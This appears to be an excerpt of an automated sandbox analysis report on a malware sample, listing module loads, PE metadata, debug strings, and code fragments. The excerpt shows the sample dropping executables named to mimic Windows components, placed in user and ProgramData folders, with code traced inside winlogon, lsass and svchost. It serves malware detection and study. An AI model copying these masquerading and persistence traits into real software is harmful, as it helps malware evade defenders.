Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\w85VkFOxiD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: w85VkFOxiD.exe

Static file information: File size 25809408 > 1048576

Source: w85VkFOxiD.exe

Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x189c200

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680613542.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1681332783.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: SearchServices.exe, 00000005.00000003.1672142054.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673672705.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1670850717.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1677828242.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679851471.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673672705.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1681525909.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680388801.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: SearchServices.exe, 00000005.00000003.1668030523.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1672796860.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1678550595.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: SearchServices.exe, 00000005.00000003.1668149590.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1672796860.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1675716606.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679695771.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680796353.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1672598760.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674252996.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1671016531.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679851471.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674252996.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1682971739.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1670597655.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1671178973.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1678294113.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674125167.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1676239632.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679520276.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1681174750.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1678550595.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1670713872.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1671016531.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674564993.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1671178973.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679520276.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1681525909.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: SearchServices.exe, 00000005.00000003.1668149590.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679695771.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1682971739.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1672598760.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1677828242.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: SearchServices.exe, 00000005.00000003.1676239632.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1672142054.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674564993.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674125167.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1670713872.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679003738.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ^>.PDbyX$JC3r source: w85VkFOxiD.exe, 00000000.00000000.1634910763.0000000001802000.00000002.00000001.01000000.00000003.sdmp, w85VkFOxiD.exe, 00000000.00000002.1661566744.0000000001802000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680892995.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SearchServices.exe, 00000005.00000003.1668030523.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680796353.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: SearchServices.exe, 00000005.00000003.1673420919.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673168351.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674857330.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1682761185.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: SearchServices.exe, 00000005.00000003.1674413248.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1670850717.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673276769.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680613542.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673420919.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673938844.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680892995.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1683245405.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674688997.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1678294113.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674857330.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1670597655.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: SearchServices.exe, 00000005.00000003.1672452047.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1681174750.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673276769.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1683245405.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673938844.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673168351.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1675716606.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1681332783.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674413248.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674688997.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680388801.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679003738.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1682761185.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp

Source: api-ms-win-core-string-l1-1-0.dll.5.dr

Static PE information: 0x874983C1 [Wed Dec 4 03:53:37 2041 UTC]

Source: C:\Users\user\AppData\Roaming\SearchServices.exe

Code function: 14_2_00007FFE0E16DA80 GetModuleHandleW,LoadLibraryW,GetProcAddress,AddAccessAllowedAce,GetProcAddress,AddAccessDeniedAce,GetProcAddress,AddAccessAllowedAceEx,GetProcAddress,AddMandatoryAce,GetProcAddress,AddAccessAllowedObjectAce,GetProcAddress,AddAccessDeniedAceEx,GetProcAddress,AddAccessDeniedObjectAce,GetProcAddress,AddAuditAccessAceEx,GetProcAddress,AddAuditAccessObjectAce,GetProcAddress,SetSecurityDescriptorControl,InitializeCriticalSection,TlsAlloc,DeleteCriticalSection,TlsFree,

14_2_00007FFE0E16DA80

Source: R3nzSkin_Injector.exe.0.dr	Static PE information: section name: .nep
Source: SearchServices.exe.0.dr	Static PE information: section name: _RDATA
Source: SecurityHealthServices.exe.0.dr	Static PE information: section name: .00cfg
Source: libcrypto-1_1.dll.5.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.5.dr	Static PE information: section name: .00cfg
Source: python310.dll.5.dr	Static PE information: section name: PyRuntim
Source: mfc140u.dll.5.dr	Static PE information: section name: .didat
Source: VCRUNTIME140.dll.5.dr	Static PE information: section name: _RDATA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F411D5 push esp; iretw	1_2_02F411E9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F46F1A pushad ; ret	1_2_02F46F23
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_02F40D50 push esi; iretd	1_2_02F40D5A
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Code function: 3_2_00007FFD9BA14B92 push esi; ret	3_2_00007FFD9BA14B9F
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Code function: 3_2_00007FFD9BA05524 pushad ; retf	3_2_00007FFD9BA05525
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC25ACDD push rcx; retf 003Fh	5_2_00000264CC25ACDE
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC28C6DD push rcx; retf 003Fh	5_2_00000264CC28C6DE
Source: C:\Users\user\AppData\Local\SecurityHealthServices.exe	Code function: 6_2_00007FF7B0871394 push qword ptr [00007FF7B0887004h]; ret	6_2_00007FF7B0871403
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1C76ACDD push rcx; retf 003Fh	10_2_1C76ACDE
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3BC6DD push rcx; retf 003Fh	10_2_1D3BC6DE
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9B8DD2A5 pushad ; iretd	10_2_00007FFD9B8DD2A6
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC623CC push esp; iretd	10_2_00007FFD9BC62472
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC8F358 pushad ; retf	10_2_00007FFD9BC8F419
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC622D4 push eax; iretd	10_2_00007FFD9BC623CA
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC621FA push eax; iretd	10_2_00007FFD9BC623CA
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC616FA push cs; iretd	10_2_00007FFD9BC61832
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC615DC push cs; iretd	10_2_00007FFD9BC61832
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC6253C pushad ; iretd	10_2_00007FFD9BC625D2
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC67D4A push cs; ret	10_2_00007FFD9BC67D4B
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC624A4 pushad ; iretd	10_2_00007FFD9BC625D2
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BC62474 push ebp; iretd	10_2_00007FFD9BC624A2
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_00007FFD9BD82321 push edx; retf 5F20h	10_2_00007FFD9BD85A3B
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC62ACDD push rcx; retf 003Fh	48_2_00000225DC62ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC65C6DD push rcx; retf 003Fh	48_2_00000225DC65C6DE
Source: C:\ProgramData\xskudridktfu\vmarkghgnurz.exe	Code function: 53_2_00007FF6535C1394 push qword ptr [00007FF6535D7004h]; ret	53_2_00007FF6535C1403
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0ACACDD push rcx; retf 003Fh	54_2_00000202C0ACACDE
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AFC6DD push rcx; retf 003Fh	54_2_00000202C0AFC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A6612EACDD push rcx; retf 003Fh	55_2_000002A6612EACDE
